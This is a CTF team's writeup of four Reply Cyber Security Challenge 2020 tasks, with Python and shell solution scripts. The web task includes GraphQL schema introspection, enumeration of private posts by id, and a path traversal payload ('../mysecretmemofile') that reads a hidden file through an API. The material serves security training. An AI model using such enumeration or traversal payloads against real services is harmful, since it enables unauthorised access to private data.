Reply Cyber Security Challenge 2020 writeups
Last weekend we played the Reply Cyber Security Challenge 2020 and we solved the four challenges you find in this article.
You can find files and exploits on our repository, at the url: https://github.com/r00tstici/writeups/tree/master/Reply-Cyber-Security-Challenge-2020
Wells-read
Category: Coding
Points: 200
Solved by: 0xThorn
Problem
Description: R-Boy finds the time machine, which Zer0 used to travel to another era. Nearby, lies a copy of HG Wells’ The Time Machine. Could this book from the past help R-Boy travel in time? Unfortunately, R-Boy can’t read or understand it, because the space-time continuum has changed some of the words. Help R-Boy to start his time travels!
Writeup
Analysis
We are provided with two files.
At first glance, the first file (The time machine...
) looks like a book, but looking closely at the text you can see that some words have wrong characters.
Instead the second file (words.txt
) contains a long list of words, practically a dictionary.
Looking closely at the wrong characters in the first file, you notice that some are symbols, such as curly brackets.
From there comes the intuition: the flag was hidden in the text by substituting characters in the original words!
The script
TL;DR you can find the solution script here https://github.com/r00tstici/writeups/blob/master/Reply-Cyber-Security-Challenge-2020/coding-100/exploit/solve.py
- Imports the book by removing the new lines, double dashes and double spaces
with open('The Time Machine by H. G. Wells.txt','r') as file:
text = file.read().replace("\n", " ").replace('--', ' ').replace(' ', ' ')
- Finds all the strings enclosed in two curly brackets (for the format flag)
matches = re.findall(r'\{[^\{\}]*\}', text)
- For each of the strings it is necessary to find the defects in the single words
for result in matches:
differences = ''
for word in result.split():
differences += find_differences(word)
print(differences)
- We create the
find_differences
function to find the defects in a word. First, punctuation characters are removed at the beginning and at the end
beginning_punctation = ['"', "'"]
end_punctation = [',', '.', '!', '?', '"', "'", ';', ":"]
while len(word) > 1 and word[-1] in end_punctation:
word = word[:-1]
while len(word) > 1 and word[0] in beginning_punctation:
word = word[1:]
- Then it checks that the word is not already perfectly contained in the dictionary. Checks are made with lowercase words to avoid false differences due to capitalization.
if word.lower() in [x.lower() for x in dictionary]:
return ''
- The comparison is made with each word in the dictionary, only if the length of the words matches. It does a character-by-character check and saves the differences. If there is only one different character, the search ends.
for d in dictionary:
if len(d) == len(word):
if word[0].islower():
d = first_lower(d)
else:
d = first_upper(d)
different_characters = ''
for _ in range(len(word)):
if d[_] != word[_]:
different_characters += word[_]
if len(different_characters) == 1:
return different_characters
return ''
- Run the script and get multiple strings. Only one respects the flag format:
{FLG:1_kn0w_3v3ryth1ng_4b0ut_t1m3_tr4v3ls}
LimboZone -?-> LimboZ0ne
Category: coding
Points: 200
Solved by: drw0if, 0xThorn
Problem
At first, R-Boy discovers the ‘limbo zone’ where, caught in a trap, he meets Virgilia, a guide and protector of the temporal dimension. Virgilia has probably been trapped by Zer0, but R-Boy can release her by decrypting the code.
Writeup
We are provided with a 7z archive, decompressing it we got 4 files:
- level_0.png
- lev3l_0.png
- ForceLevel.py
- level_1.7z
The .pngs are two seems equal
pictures, the new archive is password protected and the python script contains:
# ForceLevel.py
def tryOpen(password):
# TODO
pass
def main():
for x in range(0, 10000):
for y in range(0, 10000):
for r1 in range (0, 256):
for g1 in range (0, 256):
for b1 in range (0, 256):
for r2 in range (0, 256):
for g2 in range (0, 256):
for b2 in range (0, 256):
xy = str(x) + str(y)
rgb1 = '{:0{}X}'.format(r1, 2) + '{:0{}X}'.format(g1, 2) + '{:0{}X}'.format(b1, 2)
rgb2 = '{:0{}X}'.format(r2, 2) + '{:0{}X}'.format(g2, 2) + '{:0{}X}'.format(b2, 2)
tryOpen(xy + rgb1 + rgb2)
if __name__ == "__main__":
main()
So it is clear enough that in some weird way we must recover the password starting from the two pictures. We wrote a few python lines to loop the two pictures and find the only position whose pixels are different in the two images, we then applied the same composition from the provided script and we got a string, probably the archive password. We firstly tried to open the archive but we got wrong password... We applied the script again inverting che images so that first comes level_0.png
and then lev3l_0.png
. We got the right ones so we passed the level.
191186E2DBDB1B90CA
Next level provided us two more images and another 7z archive, we applied the same logic and we got another password. We started automatizing out script so that it can achive that task alone. At some point our script started failing, we opened the images and without surprise images started to be transformed, mirrored around Y axis, X axis and so on. We implemented more algorithm and restarted the process from that point.
In the end we implemented:
- mirror Y
- mirror X
- mirror X and Y
- rotate clockwise by 90°
- rotate counter clockwise by 90°
- rotate counter clockwise by 90° and mirror Y
- rotate counter clockwise by 90° and mirror X
The policy we applied to decide wich transformation to apply is that we try the mirror only if the two images have the same size and we apply rotations otherwise. Then we attempt to find the different pixel and print the password only if there is only one different pixel, otherwise we discard that transformation and attempt another one.
So we chained a shell script to extract archive, cleanup the old ones (for memory reason) and call the python algorithm to process images.
After 1024
iterations we got level_1024.txt
file with the flag.
Flag:
{FLG:p1xel0ut0fBound3xcept1on_tr4p_1s_shutt1ng_d0wn}
brute.py
import sys
from PIL import Image
if len(sys.argv) < 3:
print(f'{sys.argv[0]} file.png fil3.png')
exit()
def makePassword(x, y, r1, g1, b1, r2, g2, b2):
xy = str(x) + str(y)
rgb1 = '{:0{}X}'.format(r1, 2) + '{:0{}X}'.format(g1, 2) + '{:0{}X}'.format(b1, 2)
rgb2 = '{:0{}X}'.format(r2, 2) + '{:0{}X}'.format(g2, 2) + '{:0{}X}'.format(b2, 2)
return xy + rgb1 + rgb2
img1 = Image.open(sys.argv[1])
img2 = Image.open(sys.argv[2])
width, heigth = img1.size
def findPassword(algorithm):
passwords = []
for x in range(width):
for y in range(heigth):
rgb1 = img1.getpixel((x, y))
try:
rgb2 = img2.getpixel(algorithm(x, y))
except:
return None
if rgb1 != rgb2:
password = makePassword(x, y, *rgb1, *rgb2)
passwords.append(password)
if len(passwords) > 1:
return None
return passwords[0]
transformations = []
normal = lambda x,y: (x,y)
# Rotate around x axis
rotateX = lambda x, y: (x, heigth - y - 1)
# Rotate around y axis
rotateY = lambda x, y: (width - x - 1, y)
# Rotate around x and y axis
rotateXY = lambda x,y: (width - x - 1, heigth - y - 1)
# Rotate clockwise 90°
rotateC90 = lambda x,y: (heigth - y - 1, x)
# Rotate counterclockwise 90°
rotateCC90 = lambda x,y: (y, width - x - 1)
# Rotate counterclockwise 90° AND Mirror around X axis
rotateCC90MirrorY = lambda x,y: (heigth - y - 1, width - x - 1)
# Rotate counterclockwise 90° AND Mirror around X axis
rotateCC90MirrorX = lambda x,y: (y, width - (width-x-1) - 1)
# Mirroring
if img1.size == img2.size:
transformations += [
normal,
rotateX,
rotateY,
rotateXY,
]
# Rotating and more
if img1.size[0] == img2.size[1]:
transformations += [
rotateC90,
rotateCC90,
rotateCC90MirrorY,
rotateCC90MirrorX
]
for l in transformations:
pwd = findPassword(l)
if pwd:
print(pwd)
exit(0)
exit(12)
automatize.sh
#/bin/sh
i=0
while true; do
password=$(python3 brute.py "level_$i.png" "lev3l_$i.png")
if [ $? -eq 12 ]
then
echo "Implement new algorithm"
exit 1
fi
i=$(($i+1))
echo "$i -> $password"
7z x "level_$i.7z" -p$password > /dev/null
if [ $? -eq 0 ]
then
rm "level_$i.7z"
else
echo "Failure" >&2
exit 1
fi
done
Poeta Errante Chronicles
Category: Misc
Points: 100
Solved by: staccah_staccah
Problem
Description: The space-time coordinates bring R-boy to Florence in 1320 AD. Zer0 has just stolen the unpublished version of the "Divine Comedy" from its real author, the "Wandering Poet", giving it to his evil brother, Dante.
Help the "Wandering Poet" recover his opera and let the whole world discover the truth.
Writeup
We were provided with an ip and a port. When we connected to it with netcat we discovered that the challenge was about an old style text adventure in which we were forced to answer some questions in a specific way to keep going on
Main challenge is composed by 3 sub-challenges:
#1 Challenge
It gaves us a weird document composed by hex characters (first_challenge.txt).
When we cleaned the text we tried various conversions, the right one was unicode interpretation.
The result is a QR code composed by unicode characters, translated it there was a basic ID card whose "address" field was the answer to our riddle:
"Where are we going?": Via Vittorio Emanuele II, 21
#2 Challenge
We had to guess a 4 digit code helped by some hints in form of a very known riddle:
4170 1 correct digit and in wrong position
5028 2 correct digits and in right position
7526 1 correct digit and in right position
8350 2 correct digits and in wrong position
Insert the code: 3029
#3 Challenge
Another hexdump was printed (third_challenge.txt), this time it was similar to network packets and the hint in the text:
like sending a big, whole, message, but, instead, dived it in little p...ieces,
and send them one at time...
Confirmed it. So we imported the pcap with text2pcap and opened it in wireshark. There was a communication captured inside it and reading the packet in the right order we got the flag:
{FLG:i7430prrn33743<}
Maze Graph
Category: web
Points: 100
Solved by: drw0if
Problem
Now R-Boy can start his chase. He lands in 1230 BC during the reign of Ramses II. In the Valley of the Temples, Zer0 has plundered Nefertiti’s tomb to resell the precious treasures on the black market. By accident, the guards catch R-Boy near the tomb. To prove he’s not a thief, he has to show his devotion to the Pharaoh by finding a secret note.
Writeup
We are provided with the url gamebox1.reply.it/a37881ac48f4f21d0fb67607d6066ef7/
, the corresponding page said that a /graphql
url was present on the domain, so we went there.
What we found was a graphiql instance so definitely we must face a graphql challenge.
Graphql is an open-source data query and manipulation language for APIs
so it is possible to retrieve and store data in a much easier way then writing and using REST policy.
Thanks to graphiql we can discover easily the requests we can make, so we don't need to find out ourselves. In particular the following query were available:
Request | Meaning |
---|---|
allPublicPosts -> [Post] | retrieves data from the post marked as public |
allUsers -> [User] | retrieves data from all the users |
me -> User | retrieves the current user data |
post(id: int) -> Post | retrieves data from the speciefied post |
user(id: int) -> User | retrieves data from the specified user |
getAsset(name: String) -> String | retrieves a string from the the specified name |
There were also some user-defined objects with the following structure:
{
"name": "RootQuery",
"kind": "OBJECT",
"fields": ["me", "allUsers", "user", "post", "allPublicPosts", "getAsset"]
}
{
"name": "User",
"kind": "OBJECT",
"fields": ["id", "username", "firstName", "lastName", "posts"]
}
{
"name": "Post",
"kind": "OBJECT",
"fields": ["id", "title", "content", "public", "author]
}
This could be found using the following __schema
query:
{
__schema {
types {
name
kind
fields {
name
}
}
}
}
We firstly looped through all the public posts but nothing important was there. We then queried all the users and for each of them we retrieved their posts:
{
allUsers{
id
username
firstName
lastName
posts{
id
content
}
}}
and again nothing important was there.
We then moved on to the post(id)
query; we didn't know the id range but it was for sure an incremental numeration. So we decided to enumerate all the posts starting from 1 and for each of them we printed only the private one and only the ones whose content didn't started with "uselesess". With this enumeration we found a post with id = 40
with the content:
{
"data": {
"post": {
"id": "40",
"title": "Personal notes",
"content": "Remember to delete the ../mysecretmemofile asset.",
"public": false
}
}
}
We knew we were near the end, so we used the getAsset API:
{
getAsset(name: "../mysecretmemofile")
}
And we got the flag:
{
"data": {
"getAsset": "{FLG:st4rt0ffwith4b4ng!}\n"
}
}